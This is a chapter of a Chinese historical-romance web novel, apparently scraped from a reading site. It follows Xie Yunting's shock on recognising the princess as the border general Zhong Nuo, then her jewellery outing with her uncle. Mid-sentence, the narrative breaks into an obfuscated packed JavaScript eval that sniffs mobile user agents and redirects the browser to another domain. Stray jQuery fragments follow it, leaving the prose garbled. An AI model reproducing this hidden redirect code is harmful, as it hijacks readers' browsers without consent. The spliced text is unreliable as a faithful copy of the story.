默认冷灰
24号文字
方正启体

83. 第 83 章

作者:睡懒觉的麦兜不是好麦兜本书字数:K更新时间:
    望着被宫女引至殿中、盈盈下拜的身影,谢云庭心头再无初见时的惊艳,只剩下彻骨的寒意与惊惶,连握着刀柄的手都收紧了几分。


    他几乎不敢相信自己的眼睛。


    当初在边关军营的大帐里,那个素面朝天,与将士们同吃一锅糙米饭、谈及军情时眼神锐利如刀的都督,竟与眼前这位身着云锦罗裙、满头珠翠环绕,举手投足皆是世家贵女风范的钟姑娘,一点点在他脑海中重叠、合一。


    谢云庭的心跳得像要撞碎胸膛,那一瞬间,他甚至觉得眼前的一切都荒诞得像场噩梦——西南大都督……朝安郡主……这两个名字,本该是云泥之别,毫无牵扯。


    一个是在戍边风沙里浴血奋战、令敌军闻风丧胆的铁血将军,一个是在京城锦绣堆里娇养长大、传闻中连风都吹不得的弱质贵女。


    便是说这两人能成为点头之交,都足以让京中众人惊掉下巴,更何况……谢云庭眼前阵阵发黑,他撞见的真相,远比这离奇百倍。


    那个在战场上多次以少胜多、用兵如神引得万军欢呼的钟都督,竟是京中人人都说“体弱多病、常年静养”的钟家小姐?


    这哪里是体弱多病?谢云庭在心底狠狠啐了一口,传这些话的人怕是连“强弱”二字都认不全,该被揪回蒙学里重新学一遍!


    再说了,放着锦衣玉食的好日子不过,偏要跑到锦川城那种寒风如刀、粮草时常短缺的地方去吃那份苦?沙场之上,刀剑无眼,难道是好玩的去处?


    谢云庭看着殿中那位朝安郡主——不,该叫镇西公,叫大都督才对——正用软糯温甜的语调陪着帝后说笑,眉眼弯弯,温顺得像只家养的雀儿,把两位主子哄得眉开眼笑。


    可他脑中却不受控制地闪回画面:深秋那场恶战,她率军回援,身披染血的铠甲,面无表情地抬手一挥,身后杀气腾腾的将士,瞬间便让敌军阵中杀开一片血色……


    一边是软语温香,一边是杀伐决断。


    谢云庭只觉得太阳穴突突直跳,整个人都快被这分裂的画面撕扯开。若不是此刻身在御前,容不得半分失态,他真想狠狠扇自己一巴掌,好让这荒唐的幻觉散去。


    “这位的事,皇上心知肚明吧,要不然也不会今日特意叫自己随身跟随了。”


    难怪他跟圣上求婚之时,圣上一副耐人寻味的口吻道:“谢卿好胆量,呵呵。”


    现在看来,皇上心里并不是觉得他跟二皇子争锋有胆量,而是皇上早知道朝安郡主就是令人闻风丧胆的杀神——钟诺!


    他死死低着头,眼观鼻,鼻观心,连大气都不敢喘一口。只盼着这场觐见早些结束,也盼着自己能把这惊天秘密烂在肚子里,否则,哪日不慎泄了半分,怕是有十个脑袋都不够砍的。


    纵然心中的答案已经水落石出,但他怎么也没法把眼前这位举止娴雅的贵女,和边关那个抄起长枪就能冲锋的身影重合——可那双眼眸,那说话时微微扬眉的神态,分明就是一个人。


    “谢云庭,发什么呆呢?”身侧的同僚碰了碰他的胳膊。


    谢云庭猛地回神。“没什么。”他勉强笑了笑。


    目光却追着她的脚步,看着丫鬟为她披上绣着银线的披风。那披风用的是江南最上等的云锦,边缘滚着白狐毛,衬得她肤色胜雪,娇弱动人。


    可谢云庭却想起深秋时候,她在寒风里只裹着件旧棉袍,却笑着说“这点冷算什么,打赢了仗,好酒好肉管够”。


    宴席上,她被众人簇拥着,听着满座的恭维,指尖夹着小巧的银筷,慢条斯理地夹起一块水晶虾饺。


    谢云庭坐在角落,看着她轻启朱唇,细细品尝,忽然觉得那精致的虾饺,竟不如在边关军营中吃的干粮来得实在。


    散席时,他故意走得慢了些,在月洞门旁等她。她经过时停下脚步,目光在他身上顿了顿:“谢公子有事?”


    “没……”谢云庭喉结滚动,想问的话堵在舌尖,最终只化作一句,“郡主……多保重。”


    她笑了笑,转身离去,披风的流苏扫过青石板,留下一道轻盈的影子。


    谢云庭望着那背影,忽然觉得,边关的风沙再烈,至少能看清彼此的模样;这京城的锦绣堆里,人却像蒙了层纱,明明近在眼前,却远得抓不住。


    ……


    从宫里出来,钟诺玲走在长街上,上次回来没待多久就匆匆赶往西南,除了家里人,最让她惦念的便是京里的各色小食。


    她一边信步闲逛,一边在心里盘算,回京这些日子,城南的糖画、巷尾的卤味,还有那家百年老字号的杏仁酪,不知都尝遍了没有。


    说来也巧,没有多远,钟诺玲就见街角处站着个熟悉的身影,正是自己的叔父。


    “叔父。”钟诺玲走上前招呼。


    钟家能在武将世家中立住脚跟,靠的从不是一人之功。如今在军中颇有声望,除了自己父亲,眼前这位被她称作叔父的钟文渊,更是当朝二品兵部侍郎,手握军械调度之权。


    二品侍郎,虽不及自己父亲之位显赫,却也是实打实的朝廷重臣。何况兵部掌管军籍、军械,各省驻军的粮草器械调度都要经他过目,便是边疆将领见了,也要敬他三分。


    钟文渊与长兄向来同心,自从兄长和嫂嫂过世后更对这个常年在外的侄女也十分疼惜,见了她便招手让她近前,眉梢带着笑意:“可算舍得回这京城了?在外头野够了?”


    钟诺玲当年化名去边关历练的事,他是少数知情的长辈之一。


    钟诺玲笑了笑,“让叔父担心了。”说完,指了指旁边的“宝光斋”:“叔父在这儿看什么?”


    宝光斋是京里最有名的古玩铺,里头的字画玉器皆是珍品,价格不菲。


    “刚刚约了人谈点事,”钟文渊道,“遇到你正好,你婶母在给你备添妆,正愁不知你喜欢什么首饰,旁边就是宝光斋,待会儿和我一起去挑选一些。”


    钟诺玲也不与他见外,这位叔父向来疼晚辈,从前她每次生辰,总能收到他送的稀罕玩意儿,价值往往不菲。


    两人走进宝光斋,慢悠悠地看着货架上的物件。


    虽说是京中顶有名的古玩铺,但因东西太过贵重,寻常人不敢问津,再加上铺子进深极大,此刻瞧着倒有些空旷。


    这般清净,倒方便了他们说话。


    “你与殿下的婚事,陛下定了吉日没有?,这事叔父还没恭喜你呢。”


    钟诺玲闻言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465023|178854||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,脸上的笑意淡了些,无奈道:“叔父就别拿我打趣了。”


    钟文渊倒愣了一下,停下脚步看她:“怎么,你对这桩婚事不乐意?”


    钟诺玲顿了顿:“当然不能说是不满意,我未来的夫婿,是个很好的人。”


    “难道你们还没看对眼?”


    这次轮到钟诺玲怔了怔:“叔父为何会这么想?”


    钟文渊道:“你们不是一同戍守玉门关吗?我以为皇上下旨,是因你们对彼此存着些心意。”


    “没有,他只当我是袍泽,何况,他可能还不知都督就是朝安郡主,”她解释道,“皇上这时候下旨,说不定也是他刚封王,而且我两婚期准备到了。”


    钟诺玲见浮千楼回京后迟迟不来找他,不知道他是为她隐瞒的事生气还是另有原因。


    毕竟她心也虚……


    “但你对他评价不低嘛。”钟文渊道。


    “实话而已,他担得起。”


    “打算何时向他坦白身份?”


    “拜堂时?”钟诺玲脸皱成一团,少有的孩子气,“不知道他会不会生气。”


    “若他敢生气就告诉叔父,我亲自揍他。”钟文渊摆明了护短,“哪有让我侄女受委屈的道理。”


    钟诺玲被逗笑:“是我瞒了他,怎还好意思动手?”


    “也是,”钟文渊笑看她,“再说,咱们钟家的女都督,要动手也用不上旁人。”


    此时有掌柜上前招呼,两人便转了话头,专心看起货架上的玉器。


    “试试这支墨玉簪吧。”钟文渊对钟诺玲道。


    钟诺玲讶异抬眼:“这支墨玉水头真好。”


    “那是自然,”钟文渊带几分得意,“给你婶母挑的那些,她向来称心。”


    钟诺玲知他们夫妻和睦,调侃道:“像叔父这般会挑首饰的男子,真是少见。”


    钟文渊摆摆手:“年轻时也嫌这些麻烦。后来遇了你婶母,想让她欢喜,自然就学着了。哪有什么会不会,不过是用不用心罢了。”


    钟诺玲认真望着他。


    她自幼在军中耳濡目染,骑射兵法一点就透,偏在儿女情长上像块木头。


    钟文渊拍她肩:“慢慢来,你总会懂的。”


    钟诺玲在宝光斋侍女的伺候下试了几套首饰,那丫鬟嘴甜如蜜,把她试戴时的英气与柔美夸得天花乱坠。


    试了几套,钟诺玲便懒了。以她平日一根皮绳束发的性子,实在对珠翠兴趣不大。


    钟文渊太了解侄女,看她试得敷衍,也不勉强,一边闲聊一边在柜台间踱着,瞅着合眼的便让掌柜包起。


    那架势,若不是钟家根基深,怕要被人疑作中饱私囊。


    眼看他快搬空半间铺,钟诺玲终是拦了:“叔父,够了。”


    “为你添妆,一生就这一回,”钟文渊道,“别跟叔父客气。”


    “叔父……”钟诺玲哭笑不得。


    “我知道你不爱这些,”钟文渊收了玩笑,“但京中场合多,总有要用的。往后啊,这些细活,该让你未来夫君学着挑了。”


    未来夫君?钟诺玲脑补了浮千楼执簪为她绾发的模样,肩背莫名一麻,差点起了层鸡皮疙瘩。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)